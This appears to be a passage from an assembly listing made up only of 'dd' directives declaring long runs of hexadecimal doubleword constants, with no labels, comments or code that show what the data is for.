		dd 4B9177Ch, 0FD32F242h, 0CE76D300h, 0C2F8EA71h, 7E0B2ADh
		dd 0B3181E3Dh, 0D4EA2EBh, 265FAC80h, 4600E1C9h,	6B792B74h
		dd 740AC70Fh, 262E9015h, 0C03B5Ch, 9F3A5392h, 7EEE33B0h
		dd 70003AB0h, 1AF5E1E9h, 52B10BEh, 0B4441EA8h, 4820D27Ch
		dd 3A0D25C0h, 66A46400h, 0F4EBBF86h, 1D010009h,	0D55A326Fh
		dd 3B0BB296h, 941450h, 4F08FB26h, 0FDC90551h, 80A11F0Ah
		dd 73ABC1ABh, 0C33A1000h, 3E1AA0BFh, 1C073D4h, 0B9C4ADFBh
		dd 6060DC30h, 4103F584h, 56AC377Ah, 54AAC15Eh, 0EE00B028h
		dd 0CF71D881h, 530025E1h, 1EAEADBBh, 204623h, 1BEA8D2Ch
		dd 0FB0A6DCCh, 33CE6B1Fh, 0A07A1645h, 67D18480h, 44910A43h
		dd 80EC8260h, 94BB27DFh, 58946CA5h, 0DB6AE500h,	0FA5DBC29h
		dd 60D7E692h, 747F5014h, 0C41E3EA9h, 4985EDB8h,	70974B61h
		dd 714EE0BFh, 8DBE67h, 51C0E77Bh, 8AAF7966h, 975BE42Eh
		dd 0F84C1C00h, 0E467442Ah, 970B00C2h, 4BDBF613h, 9B03848Bh
		dd 35214352h, 3D8AB89Dh, 0BDAF0186h, 3AD63FDCh,	7007CB67h
		dd 386CB6CAh, 984CB1D3h, 7CF1765Bh, 3329268Dh, 0B6EC80F0h
		dd 31D36012h, 28654Ch, 1F9ED8Ah, 15DCFC1h, 0E11268B8h
		dd 0C4DD2E48h, 410076BEh, 0B02AEBBAh, 0A13D71h,	3330701Ch
		dd 0A0D2D8E5h, 0AB10D4h, 575E9A95h, 3EE342Bh, 84446E7h
		dd 4000DC78h, 0B8311ED7h, 94FBB7h, 164150F0h, 0C578E111h
		dd 426B4EAh, 8307F96Eh,	2184D0F1h, 0CE8640AFh, 954F704Eh
		dd 73C26000h, 6872E58Eh, 0C1BFAB2h, 9BD80835h, 0D6007B88h
		dd 0A3EE3275h, 3FAB6B8h, 0BECE845Bh, 0EBC9BAABh, 184AD45Ah
		dd 2CF1F400h, 0AF1533F5h, 846301C7h, 68026EFFh,	0C2C6F89Bh
		dd 0FE53A200h, 0AD3436A5h, 0D46B0060h, 2EB37C18h, 0E05FC63h
		dd 72958C66h, 0E496E800h, 5474ADh, 7AECABC8h, 8D886F2Dh
		dd 0A59BE912h, 9076402h, 277560BDh, 843406AAh, 407E4A16h
		dd 9AFDDC0Eh, 94EF01B0h, 0C82DDED0h, 0C4575F00h, 7FBE3767h
		dd 48227B00h, 0DF955EB9h, 88B802h, 0F381F24h, 2A91D604h
		dd 0D23AE100h, 0B1301A9Fh, 0D8351C4Dh, 0DA23404Eh, 2E9C8A93h
		dd 0B02DDC00h, 0C6EE5E01h, 0F8CD0082h, 0C707FAACh, 70003D22h
		dd 0BBD55FCEh, 1F3A6EB8h, 82CCE004h, 0F889FC61h, 0EE334060h
		dd 5641EB00h, 8BD94CDBh, 5C8400E4h, 70A243BAh, 91037BCAh
		dd 966E1FACh, 312C17ADh, 0C01C1D87h, 7A1D815Ah,	0A0566F7h
		dd 0BD565DBBh, 122FE400h, 5C573B62h, 0D40370FDh, 9B8D073h
		dd 0DB16F5h, 0AFF21E6Ch, 0FD0C21EDh, 59CF4224h,	77960057h
		dd 85B8B4BDh, 0C7168C79h, 25009917h, 875F35BBh,	0B041E70h
		dd 0AA041A7h, 6273AF6Eh, 98F712F0h, 30126427h, 0BAA21D4h
		dd 390813h, 0A2C146F5h,	889AB2B5h, 0D1443B07h, 23700593h
		dd 19832D3h, 0A58456Eh,	2463D613h, 0D586A20h, 9E511F1Ah
		dd 35F8C800h, 723F98h, 9A9D2CFEh, 51AF3B50h, 7CE48D1Fh
		dd 17F2FCC0h, 6C76A4h, 2D5C4295h, 0BD23F8DBh, 35AD6A00h
		dd 7A4484B7h, 0AB1003Bh, 0E8067DDFh, 89161DC4h,	0D00E4D9Dh
		dd 0CCD120BBh, 5CC2AFC6h, 0F40EF7DCh, 4480D579h, 8830B67Eh
		dd 0C004434Bh, 3F5DCF80h, 6033D580h, 0B73478Eh,	0EBB72602h
		dd 501C6FE8h, 0E5A9023Ch, 0B1A7020Eh, 0D7DDC481h, 544C6008h
		dd 9D26AC00h, 0FE2E2C45h, 0A1104EE3h, 0BCC0CF7Ah, 0B0128640h
		dd 540031EBh, 0E16DD788h, 5419134Ah, 3AA4490Bh,	4399D0A0h
		dd 68F4A061h, 0B07B983Fh, 0E6638266h, 0E095032Dh, 4FFA24D8h
		dd 0DE7157A1h, 0A0797CE0h, 3BDE3100h, 8ADF2F6Bh, 0C9987Ch
		dd 0C8D97EFAh, 9C5BDD73h, 307693F0h, 0A0013979h, 2D75EE6Bh
		dd 903CB1D9h, 2C0B873Dh, 300098ADh, 70F4F55Bh, 35BDEB02h
		dd 500E02E4h, 69180488h, 0C1E0517Ah, 0F4A5E3A0h, 0AF00CB8Dh
		dd 6EE7EC29h, 48CA910Bh, 0B800288Ah, 0FAB2DEC3h, 533C7D6Bh
		dd 0C2A000A2h, 0EF8CFFDh, 0B9EF173Ch, 9B2C00BCh, 5969361Bh
		dd 28F29400h, 0CBA0B2D5h, 878C02EDh, 2CE2426h, 674D9860h
		dd 0D2394C1Eh, 1C8E6C0h, 2C74FB93h, 2840D9h, 775BB0A9h
		dd 7D006E21h, 9940BF8h,	35979Eh, 0DE4C8263h, 7F430FCCh
		dd 147BAB00h, 0BF19851Eh, 0F842005Bh, 485A6BCFh, 0DC70AC53h
		dd 0BDA15100h, 0D427E8B7h, 4A7F03B6h, 0AE1B5F89h, 87780181h
		dd 673653C1h, 0F3FC96C0h, 0AB00FB4h, 0E9C91944h, 0B76BDF01h
		dd 574FD43Ah, 208B0830h, 1CEAFBA3h, 5AF59506h, 9F0019AAh
		dd 45888734h, 0A35A2F1Ch, 68000A56h, 60270DB3h,	960929Dh
		dd 9BB74EFDh, 0E814C08Fh, 0ABD70401h, 0F08C4196h, 82005B98h
		dd 0E15A7706h, 237874h,	6EE6B4DDh, 2A308425h, 0CAFFA800h
		dd 0BF225C10h, 704D00D9h, 95274877h, 3538FB83h,	907597F1h
		dd 6AE6BC00h, 38F2337h,	0E4E2B566h, 8060BE40h, 0FB5D7518h
		dd 0C7A70090h, 0AB732C88h, 0B30EA628h, 49317E61h, 8C7C2043h
		dd 0D74A7Dh, 0A5D86479h, 3BDB2545h, 0EA003492h,	22E3CEEBh
		dd 48A28F2Dh, 6D07A560h, 0A284456Bh, 24480103h,	8771D841h
		dd 0AC65FE00h, 69B01031h, 6ECA000Eh, 3C93468Bh,	0C12C2F19h
		dd 1E895498h, 17F0136h,	62DCBF4Eh, 4CA60145h, 7AB6DD2h
		dd 215030D6h, 0CA369900h, 80972A72h, 0A62B002Eh, 7555FFB6h
		dd 0C9C7F39Eh, 0D2547C27h, 0AB143681h, 0E0CED453h, 7159E9Fh
		dd 0B5907EE2h, 7CBF3251h, 0A0B9C0C8h, 843EEB0Eh, 92AF2556h
		dd 0CA90E087h, 7EDB7468h, 6A33001Eh, 2CACB395h,	1C004F0Fh
		dd 98ED875Ah, 0EE45AF90h, 93A7BC8h, 81BC5F53h, 3FEC0801h
		dd 0D336E0BEh, 0A92013Bh, 4CF57F47h, 6684B602h,	94D390h
		dd 0C7223824h, 0BC00136Bh, 0B505B075h, 63029959h, 0BFA53830h
		dd 20AB4EB9h, 7900D630h, 0E101088Eh, 0B81DDF84h, 0C774009Eh
		dd 7DF1BDADh, 7CF683AFh, 0AC29F63Ch, 7F0F407Eh,	6D41A0A3h
		dd 0B7DECFh, 0AC04DC38h
		dd 9607EE8Dh, 0D792080Fh, 2F3143Eh, 77C1FC88h, 0C5F960D5h
		dd 0ADC0130h, 5211C43Ch, 0CC2ADD9Eh, 181C17E2h,	0E149AFD0h
		dd 43986133h, 9CF83AE1h, 0B2E9006Ch, 8E58FC94h,	2B00C0CEh
		dd 0C212EAE8h, 901D342Ah, 0ABF803BBh, 0EDA5161Ch, 0F445B9A1h
		dd 0DDE86D97h, 529AD000h, 3D99D895h, 0D4E884h, 0FA20479Bh
		dd 0D5AD12E9h, 7BA76D00h, 8F138577h, 9C9C58h, 0FCC1C8E5h
		dd 44004C1Ah, 97A779C6h, 0CAF488Fh, 3F93E22Eh, 360F4F20h
		dd 6034DB2Ch, 0BB2081E6h, 0E7BD00A2h, 0C24CF868h, 430EAD1Ch
		dd 209396EEh, 11EF3AFAh, 5DB85C6Fh, 94A39500h, 0B6F35618h
		dd 330320F0h, 0A459D81Ah, 0C0B7E3E7h, 0E277F0E5h, 12A51696h
		dd 0CAB2046Bh, 16048060h, 32CE363h, 0C500AC67h,	0F9E21072h
		dd 41AE172Dh, 21BA010Ch, 806F7725h, 9B724D98h, 143D7483h
		dd 0C0F1CB89h, 800CC61Ch, 1BE91054h, 9771A44Dh,	0C1ABA004h
		dd 0AC90AAEBh, 0EAD8086Ch, 0D9CD135Dh, 1C980037h, 0B96B9286h
		dd 45995300h, 0CE1D6582h, 0C29D241Eh, 54D209C0h, 0DCE07020h
		dd 0B2028D77h, 52D8336Bh, 0F808702Dh, 65302754h, 0DDED1400h
		dd 840127D6h, 116480C0h, 7824C82Fh, 151900EFh, 0C4E74108h
		dd 6F3A4AF0h, 78D68082h, 66356B8Bh, 0EB040C76h,	0D168954Dh
		dd 1E8054Ch, 0B1978D8Ah, 91B9C030h, 5D77DD00h, 0D96B2150h
		dd 5B924E00h, 0E6085148h, 3DC803F4h, 0DD62BA18h, 0BE0FA904h
		dd 0E407D54h, 9F0BDE67h, 0F0E47900h, 970F9399h,	0EF780373h
		dd 4D6B71BEh, 9D512EA8h, 6A4F2715h, 0FE9EC048h,	13A8D2EFh
		dd 3281FCh, 0B2C78BCEh,	70E916E9h, 58F96A78h, 861EE11Ch
		dd 0AB02AF23h, 0C3D8277Fh, 919A964h, 1FFBC434h,	0FE6BF22Fh
		dd 0EC97870Ch, 761C9441h, 350081E5h, 58D84DDh, 2673011Eh
		dd 0F887F2B5h, 96F182E4h, 0DABB160Bh, 907ADCh, 6D37EE15h
		dd 0FADD1219h, 97FB1E00h, 313E45BDh, 48ED0904h,	0D8A12ECBh
		dd 800819B0h, 49C68C91h, 4E7A94h, 0FDBC099Fh, 816C28FBh
		dd 163F2B1Dh, 118BEC80h, 3C0792h, 0D1181970h, 23AD7BB5h
		dd 0D0DB5E00h, 24586399h, 0E41E5C62h, 0FF717900h, 0CAC0736Fh
		dd 142D2C24h, 74112A00h, 1C63A381h, 0CE989C0Ah,	0A7248C15h
		dd 0DA48C088h, 2E003E46h, 7669EC9Bh, 1ECBF7D3h,	0CF1ABC1Ch
		dd 2FE02BBFh, 2049A104h, 0F7F5CF00h, 0D68B55B3h, 40365E01h
		dd 479F6278h, 80000E45h, 0D55A3B60h, 987B682h, 0C33FAE51h
		dd 0ED493840h, 0CC76C100h, 0B98233FEh, 3780083h, 0ECD5F541h
		dd 0DA094E92h, 0D8C052h, 299DB4BAh, 67F30087h, 557BED2Fh
		dd 900FF542h, 66F609h, 10575960h, 0EA0E26Fh, 0B0E02768h
		dd 1FDD6CFEh, 5C5F4086h, 457677CAh, 68FF4600h, 7182BB89h
		dd 8A4A07B9h, 0D3C9037Ch, 10B0D86Eh, 0F20756BAh, 0D343181Ch
		dd 3C8047FEh, 325A4E20h, 0DE9E0088h, 0A799F486h, 7A39D0BCh
		dd 58C5805Dh, 34EAF27Bh, 6CB80095h, 53263F6Fh, 6B039A24h
		dd 169871D0h, 24F0EC38h, 0FD9D0088h, 2C465770h,	5E05A934h
		dd 0B2EA36FCh, 767D7080h, 2D190A24h, 9FA0DA8Ah,	7A83FAA6h
		dd 8CA2E2BBh, 8055A890h, 60868E09h, 825800C8h, 617E966Bh
		dd 35FA1173h, 7488635Ch, 6900B042h, 0A0B22EDDh,	501C4EEFh
		dd 0F4FA1DE4h, 122C1100h, 7D0EDFBh, 687430E3h, 0E046F6A0h
		dd 44DB8707h, 617FEE08h, 0BE4CBAC9h, 6EBB60h, 85B9D98Dh
		dd 0E8EA1D53h, 0D4001CEEh, 8AAC4A90h, 90A7B55Eh, 65B214E7h
		dd 0F200C47Eh, 0FC6E9D38h, 0B10249E9h, 993AB6EBh, 6BC9E00Ch
		dd 0BBF4FAh, 6E2ECDE8h,	29A2EC26h, 0D2706205h, 90078865h
		dd 812BDE49h, 190DDD68h, 0A44630h, 0FE683CE1h, 9E861113h
		dd 21838A00h, 5A67C729h, 48A43F2Ch, 0C6D93400h,	27E34946h
		dd 3F62600h, 72120686h,	4D212CA2h, 0C1CE008Eh, 5B5FE97Ah
		dd 81B0C94Eh, 1585072Ch, 60AB8264h, 0CF062EBCh,	517E7805h
		dd 0C880EC20h, 26AC619h, 41FCEFC1h, 32608FEBh, 0C7126FE2h
		dd 640E0E61h, 28C893C3h, 5A60B49h, 57008143h, 4152AB24h
		dd 5CC0091Dh, 305E80FEh, 0FF62CED4h, 0E0E71C3Ah, 0F8AF3EAFh
		dd 49C4DC80h, 0AA607F95h, 39E96B28h, 0D04504A9h, 0A8AF5B3Eh
		dd 0AED782D4h, 0B80841B3h, 7D48F8h, 0AD4369F8h,	0BF9823C3h
		dd 5034674h, 2B4DA47Ah,	0B9C0F7ACh, 5442F0h, 0FA0D4CF3h
		dd 0B10F3306h, 0C668A403h, 0A815F2E9h, 756F1CDh, 8F52EAF5h
		dd 7F42208Ch, 4D1629D4h, 8432F45h, 1BA967Ah, 9409A3E0h
		dd 0D86C1E99h, 0C0B49F2h, 68636987h, 83BD1438h,	772D1A98h
		dd 3052945Bh, 0DF282805h, 180359C0h, 6BA207C6h,	0EA6C9Ah
		dd 480F64C5h, 1E945Ch, 0BC05B528h, 3E6D30Bh, 132E5E5Bh
		dd 5998019Dh, 1E03E8ACh, 0D4CB8226h, 0DE70129Ch, 324CD08Bh
		dd 0D0926B51h, 183BCD02h, 20D92924h, 7B1FFFB7h,	38E70500h
		dd 1BF8A081h, 934E0006h, 7FC56EB0h, 5B0067E6h, 0F7517A2Fh
		dd 3BCBC190h, 0BFC8639h, 0DE845E13h, 257100C7h,	9095AA0Ch
		dd 1261EC1Ch, 1F590B9Ah, 8A2CB2h, 8FF7BE28h, 6A597F8Dh
		dd 0CB730064h, 0AF69D57Eh, 0A0D30C56h, 0C8F80E4Ch, 6FC55B03h
		dd 0FDB7616Dh, 51B8E800h, 0B6B4D3h, 0AC39788Bh,	2334E318h
		dd 9DBAEC09h, 0C6FC007Eh, 53E07h, 6E906625h, 0D12A1E88h
		dd 0BA94E301h, 17CC26FAh, 1FD45360h, 8F84C173h,	346F2D2Eh
		dd 0E5F179E0h, 0AD00F388h, 940A8B5h, 16BFB20h, 52F7E64Bh
		dd 0C448CD74h, 0ACFA6AD2h, 6600CEE6h, 8FE0309h,	3C70974Eh
		dd 8000EE24h, 23780ADEh, 2095AF02h, 0CF7C46E8h,	5EBC00B6h
		dd 0A2FBF461h, 4E582A85h, 0FF2F0933h, 443892D4h, 0C14300F0h
		dd 4722331Ch, 9C98A231h, 0E177AA17h, 4668CC00h,	4E53B61h
		dd 14DD7908h, 0F26684B2h, 0F2290E2Ch, 830D6581h, 6C988C90h
		dd 4EE000EBh, 668A9D07h, 0E1124D30h, 5C0BACC6h,	2A00007Ah
		dd 1A532C1h, 3E0F293Fh,	0FC4B1146h, 6316034Ch, 0DC04199Fh
		dd 8B94F70h, 0D800BE3Dh, 0ABF61474h, 0D003242h,	0D559B77Fh
		dd 1BA6EE6h, 0E19CBB5Bh, 6007F37Ch, 0DE0E0994h,	0EB3CBFh
		dd 38A4AC80h, 0A80C001Ah, 0FD4136F6h, 26098625h, 0ADA951h
		dd 0A57348FAh, 0C9143E18h, 647D7180h, 35B4C81Bh, 0A0693830h
		dd 8E5B49h, 2F76BB8Ch, 3FB86B6Dh, 0D75CC200h, 0D646CAAAh
		dd 573E00DEh, 0C8AAB88h, 670063F3h, 0DC89801Eh,	39BA71F2h
		dd 0FA0026FBh, 5DCD1176h, 4504157Ch, 8E204E4Dh,	650AC87h
		dd 0B56F3D6h, 7C6AFFEEh, 778DE8A0h, 0A40043E6h,	313A8F5Ch
		dd 0E4CF620h, 2C5F3861h, 50C08143h, 5A1BEDD8h, 5628758h
		dd 1A909EB6h, 3CC5981Ch, 78CB6F1Fh, 65F62F1Dh, 0CB529800h
		dd 0AB0C9A84h, 29F4DC39h, 0F18B030Bh, 0E8B8B0FAh, 28881993h
		dd 0A10065ECh, 0C2CD534Bh, 0D2044Ah, 41DBC574h,	0B4209D43h
		dd 1D1DE23Fh, 0EB875197h, 0DB11AE15h, 5860710Ah, 2D7EE6FCh
		dd 0B85EF2A9h, 7024F507h, 34808205h, 504DB154h,	187B879h
		dd 150FF1AAh, 61DA76D9h, 0F0012EBAh, 0FFEB7D6Eh, 7636460h
		dd 0CD6CE184h, 0BA0FF034h, 0D700074Fh, 0DFD058F2h, 4C08C804h
		dd 48814027h, 3AE247E8h, 3DF59400h, 0A018FB71h,	0B069298h
		dd 0CAB53476h, 0E0E35487h, 0A812919Eh, 814C300h, 7A2AADABh
		dd 0E72C00EEh, 0E647B7BCh, 510CA022h, 0E0C3D538h, 0E8217A8h
		dd 23CC0094h, 73841521h, 0DB30B000h, 0C31C9993h, 7A2E0EFAh
		dd 0DC254F6h, 90804D62h
		dd 94D840B6h, 8EE8E673h, 602EB027h, 50D098h, 0C9D5E708h
		dd 0F0F2273Ah, 5D4C8E00h, 0BF75DA30h, 9DE20038h, 564549F7h
		dd 2D3C2216h, 0DAA20490h, 8CD09EA6h, 12E348C2h,	5F7F287Bh
		dd 0A10CC600h, 0BA002186h, 0DF16ABC1h, 390A4DB0h, 2126F39Ch
		dd 0B9E10095h, 36130C89h, 0C1D7570Fh, 701FE0D3h, 1699DA3h
		dd 8A2239A5h, 0E00FC4B3h, 0D971EC3Dh, 3E083000h, 0EE145697h
		dd 13CB0F8Fh, 646689B5h, 4D0F4039h, 0CE574h, 63B43F22h
		dd 0D618C73Ah, 0F92860CDh, 0C503D835h, 0CAC0B16Bh, 22213F24h
		dd 0EB431A01h, 0D0BB577Bh, 0E03E83D0h, 0BF5B0082h, 0BE4F51A1h
		dd 72620147h, 90687B75h, 32D8F7EAh, 800B83ACh, 6026630Fh
		dd 3BA67FF4h, 0B38FCDF2h, 0B132E7ABh, 0E6F140B4h, 0BA1F9597h
		dd 5FD8647h, 849BB915h,	5DD09C80h, 1D1A0011h, 0D1EFD437h
		dd 58004A16h, 0FDDCFC5Fh, 1FA533Eh, 0B62ED7B4h,	3A12130Bh
		dd 3C58E858h, 7D3FFACFh, 41B230CAh, 54DC4338h, 0E300877Ah
		dd 6725E26Fh, 74770786h, 1EE50017h, 0BD899B05h,	9406C7EAh
		dd 39D5502Bh, 65170061h, 68C2C0DBh, 0AEB0032Fh,	0E0A34A00h
		dd 5D467F7Eh, 12E105F4h, 0C0701C66h, 5AB9ACEAh,	5400CE7Dh
		dd 0BAFA6BD5h, 753D934h, 46E0B12Eh, 3C2010DBh, 10C7BF36h
		dd 49C7A233h, 660CBBF0h, 0F84F009Dh, 6D2079A8h,	148EB9Fh
		dd 68640082h, 78B26AD9h, 7C90C8h, 0DFBCE9B4h, 19448EC3h
		dd 603BBDFCh, 6BBCDB36h, 0CED10078h, 0EB732082h, 0F204230Ah
		dd 9827AD22h, 604FF4E8h, 3C8AC2B8h, 0A6514201h,	91A2C0EAh
		dd 5CE6824h, 0FB58A9BCh, 2A8B80E0h, 65008852h, 43BAC355h
		dd 9EB9D01h, 5466440Ch,	4DE18800h, 0D9774F37h, 4794Ch
		dd 2AC6301Dh, 30B767B8h, 97285A8Ch, 0D3E7511h, 73EB00B1h
		dd 0F44F19B3h, 2D720D36h, 44FCBA44h, 78E6BEh, 2CFB6906h
		dd 0F1AFFEh, 42F2711h, 3646ED3Ah, 6800E090h, 0D5A69219h
		dd 2EFAA1DAh, 752C5Eh, 516BCA67h, 0DB0CB8F3h, 188F8D60h
		dd 0D12100A7h, 67C3C61Ah, 4F00755Ah, 2F1C7430h,	6ED4661h
		dd 38A77278h, 0A4583033h, 3CDB1F10h, 2FA89200h,	0FFE1E0h
		dd 9ADCAB6Eh, 4791307Eh, 0F5B4A107h, 5510C450h,	38EE08EDh
		dd 0AA80592Fh, 4C57AFC9h, 0C80E74BFh, 27CB7C4Dh, 69F0ABD5h
		dd 3DCBD40h, 0DE4FFFE8h, 9C04B1Ch, 7A3C73E9h, 2DE58049h
		dd 47404866h, 727460A0h, 0BB8489BAh, 70C4CCE2h,	0D320031Bh
		dd 0FC008DC2h, 0C9908673h, 515BDh, 0D20FA6Eh, 60E2F0B7h
		dd 0B90058B0h, 0A973FE02h, 0F05A64FDh, 0A8800075h, 0E672DEAEh
		dd 0DC30632Fh, 0D277B040h, 0C9AF009Fh, 343B30BBh, 0D10060B4h
		dd 0B27ECC43h, 0E042F446h, 8EEE386Eh, 0D0D8A4h,	12FF79A6h
		dd 670BB7F3h, 5D31BDh, 73E674FBh, 0CDF40045h, 0FEA7C147h
		dd 6F1F3F54h, 0ED0036E1h, 4E9A0F50h, 834A0703h,	3FD42373h
		dd 6BAC6A83h, 1B18E100h, 0B725E80Dh, 4535146Eh,	50008623h
		dd 0C0CCC61Eh, 640070A5h, 56FFF1C3h, 0B4E358h, 1F479DB3h
		dd 6FE13524h, 0A6827400h, 0A8D692E6h, 508A0076h, 0BE184B90h
		dd 0CB07D921h, 6440132Fh, 0EE15F3F0h, 57FD0F56h, 582E5CABh
		dd 92328E07h, 0B3C10CCBh, 0F5EBDCC4h, 0F11ECCA0h, 51FA8801h
		dd 0D10A8D8Ch, 3507080h, 0A5B6E1E5h, 0EB6B3A00h, 699006FDh
		dd 993D009Eh, 8EA9C6DAh, 4500967Ah, 0D637FBB3h,	50274F38h
		dd 3878AF0Fh, 0C038881h, 0A705CEE6h, 8BA602B8h,	0EEAD900h
		dd 65A08568h, 211600F0h, 0DF7D3B49h, 0C601464Ah, 36C183E5h
		dd 808066BCh, 0B3F18613h, 0D9007C3Eh, 0DB7867AFh, 3A8B8F8Ah
		dd 388E7329h, 0CFEF359Fh, 6654BAA0h, 0A9035B1Eh, 82442339h
		dd 6480065h, 9E55DD3Fh,	0B1C02D88h, 8491BE92h, 9C490099h
		dd 0F541B347h, 0D3016C13h, 355EDCD9h, 21F4A13Fh, 96514B5h
		dd 0DD009CF4h, 4D14EA08h, 6B12AA56h, 444E18BFh,	0B4F0C0B6h
		dd 0F89A970Ch, 45370078h, 7DBB69EAh, 6E750489h,	177AE500h
		dd 7077C4D1h, 7FCF0032h, 37E06DD8h, 0C57CB594h,	0CD00A490h
		dd 804DBE69h, 0E2F4FAh,	5972500Ah, 0B3011170h, 86497C00h
		dd 4B7F09Ah, 0CC670313h, 0D553E9E5h, 763BEE8Bh,	448A0003h
		dd 0ECA7A483h, 0CD0D0F48h, 3D6F35A1h, 0D1C9F220h, 2898744Fh
		dd 84489038h, 1FE8EF55h, 0BD1020CAh, 250703CCh,	0B4950B33h
		dd 0B600C48Ah, 0BEBC8438h, 131D0378h, 346688F3h, 315203B9h
		dd 0C76BA2h, 0D66CF831h, 9B99BB65h, 176C8D4h, 2BA7CD34h
		dd 30322F8Ah, 71430A09h, 0A09DC021h, 9E3187A1h,	78E08B9Ah
		dd 24FA9F7Fh, 9D741D2Dh, 9314C666h, 0CA037833h,	9B56F550h
		dd 0F8C2F016h, 40D399h,	0B80FBCF6h, 0FB133718h,	3C40494Fh
		dd 0C9EBD6Eh, 9DC40325h, 0E0E2485Fh, 61D28004h,	7CC8FDE6h
		dd 6D78C492h, 55DCC21Bh, 46C7D525h, 3106E871h, 0EDDA5DCh
		dd 73FA701Ah, 0FDC280C0h, 330BCAFBh, 0FA9DF06h,	9089235Eh
		dd 0E040B8E3h, 4A3000FEh, 7F3AA4EDh, 5001E7C3h,	0FD3D446Ch
		dd 0E992C426h, 0BC2420D3h, 0C10EBBC5h, 200BA372h, 9796EB89h
		dd 2EC90EEh, 0E8DA0CACh, 2460A6A0h, 6200155Ah, 6388A843h
		dd 46DB44Fh, 60B2716Fh,	40D8C70Fh, 0C17D063Dh, 0A58A7900h
		dd 0C62E2A09h, 0E00D0FD3h, 0D22C50h, 31F7F1B2h,	0A00464BBh
		dd 0CF2262CBh, 0B18F1480h, 9B840043h, 2E109F96h, 0BD00FBE4h
		dd 0B08E4765h, 37D1DB8h, 0F03A6337h, 0FEA0F379h, 0B1145715h
		dd 0D05CCFh, 85A964BCh,	4C41A778h, 0D207A4C2h, 0C046477Dh
		dd 3A24A393h, 0C8CA5500h, 9BF873AFh, 5B2D2401h,	0F2D60068h
		dd 0A03FD321h, 59F0BB00h, 768B8DB6h, 0A2170061h, 0A6450D98h
		dd 332C2C57h, 40176ACh,	9B4B9F99h, 0C5C9C0F2h, 0F2CE0147h
		dd 0D93EB463h, 0CC75EC7Eh, 2F035177h, 84616B57h, 60AFF0FDh
		dd 0A9F50014h, 82516527h, 0F8F73622h, 0D0028EF7h, 0CDA02DD1h
		dd 40AFE278h, 70D8CC31h, 285C1CDBh, 9CCA14ADh, 0D2CEAF02h
		dd 0F8400C0Ah, 83776FEAh, 11DA4B00h, 712F2AB3h,	1890052h
		dd 0D19C94ABh, 721FF3BBh, 670008FCh, 0C9CEE71Bh, 107103D5h
		dd 0B512494Ch, 0C81540B8h, 4F67A60Eh, 0D7B9E04Dh, 2F8ED9h
		dd 8296626Ah, 5FCD1B6Eh, 0C585610Fh, 600373FAh,	803AFC05h
		dd 3FAC293Ch, 0EB7A292h, 332BD058h, 0F6C124C2h,	7B6ED63Fh
		dd 0F292C0h, 47810E28h,	1B40714Fh, 6BB99D00h, 5F86C788h
		dd 1F102665h, 0A62703E0h, 0FCE14D66h, 21CC30CDh, 0C5930700h
		dd 6CC6FD74h, 0A182009Ch, 0CBA99DF1h, 7F0012B4h, 95251C8Bh
		dd 0ECB372BAh, 699E00CEh, 914980FDh, 0BD00C1F5h, 413310A0h
		dd 0AAEB07h, 0F1B8B69Ch, 973115D2h, 26F2B100h, 99DEB978h
		dd 17F0Bh, 0AAAE8F33h, 0A93A2BC6h, 0F73EEC0Fh, 22868788h
		dd 973B9911h, 0C083F0h,	0C4FFDF09h, 2927D1FEh, 0B2D58D0Fh
		dd 77D0131h, 6C2093DBh,	701500DEh, 4B26501Eh, 6D00C575h
		dd 443B9783h, 0EFD3FDh,	0E627CE4Ah, 5E9B66CCh, 856C0200h
		dd 0A2329E3Dh, 829D0070h, 662A7FAAh, 800B198h, 760EF7E8h
		dd 1EDBE7h, 4E6C86BDh, 77F47C24h, 49A92600h, 0AECBA5D3h
		dd 0AA9C00F1h, 0D0CA67BBh, 6B0053CEh, 4A57A170h, 3E59F65h
		dd 0BA7DDCF3h, 93F845DDh, 3F00325Ch, 0EA2ACE55h, 0BD6C19h
		dd 41D78A3Dh, 0D317F2A9h, 6F9AB501h, 5DC34E7Bh,	0E274ECh
		dd 0C06A347h, 11294BA2h, 0D75CB500h, 33EE5808h,	8E6D012Ch
		dd 2D0DBD94h, 0CBEC4E6h
		dd 7230061Eh, 0F7A53B80h, 29A9D0h, 4455077Eh, 0D59C1DDDh
		dd 6C00AEECh, 0F9FB8295h, 0EA0E79h, 0D3A457Dh, 1CA91933h
		dd 0A203E400h, 8C4C3B12h, 2B5000DDh, 6D1A17ADh,	87E43EB5h
		dd 0E5280A00h, 4A6FB220h, 0F4AE0471h, 0C0487F4Fh, 0F8A05B82h
		dd 0EAD63100h, 9E84835Dh, 0F91C0039h, 23AE5C8Fh, 7505DA8Ch
		dd 0A2E63DB3h, 315081C0h, 0ED430994h, 1008010h,	82587430h
		dd 3EE7BF00h, 6D5008C8h, 449051h, 5B7BE344h, 0A1045FD6h
		dd 4AD1A8A0h, 5E17DF0Fh, 761F00B2h, 0B5C55Ch, 0DB0F7A9Bh
		dd 0E60BA42Dh, 7D794F00h, 0A1A246D4h, 441C0103h, 557C2615h
		dd 0FED6ECB5h, 5E940604h, 0CD017369h, 0D82963BFh, 2D07E40Eh
		dd 0C80BDE5Fh, 0BBB85D90h, 285041Ch, 8372A15Ch,	0A8036948h
		dd 31FB7984h, 0BDEEB176h, 0ADE0E3EDh, 0DCB50025h, 715E9633h
		dd 28051E54h, 46322CFFh, 58C0F31Ch, 34FE651Ah, 2E383DF3h
		dd 731E4300h, 69B097B7h, 49BC5E00h, 3AC7A34Fh, 0D7A000E6h
		dd 2E9157BFh, 6A009F54h, 1301153Fh, 28510C7h, 0DCAC8840h
		dd 0AC6081E3h, 8C391787h, 0E2B380E0h, 63CCB8B2h, 624E00ADh
		dd 0F8E702D1h, 0F2007FACh, 11D67E25h, 0AF069Eh,	0E66BDBCh
		dd 0CF6DB079h, 48C01F0Ch, 0CA80E7h, 8D8094DEh, 24B3CE09h
		dd 0C31E4A15h, 40D12010h, 2D1D7D95h, 6701D00Ah,	3C026074h
		dd 4F842880h, 0A87227F2h, 7A744174h, 0DEFC4700h, 7EA47DDBh
		dd 0E6730257h, 9530BB22h, 23E7FC80h, 767148EAh,	0F002C9F8h
		dd 73E10274h, 7E2C863Eh, 43110370h, 22E4E6A4h, 7562021h
		dd 300998D8h, 45F8FD83h, 16905Ch, 0CB07329Fh, 38FA8E9Ah
		dd 493D996Bh, 23C0D100h, 0A606A4C4h, 21CAAE00h,	0D7519D95h
		dd 0ACC337F3h, 0A0220018h, 0A400847Fh, 5A71ECD8h, 1F3C889h
		dd 35A60590h, 833B02CAh, 222EED81h, 30E6C5h, 3925C9B4h
		dd 71E5C8FFh, 0F185FDF9h, 7716E08Ah, 50E640C3h,	0DC19C07Dh
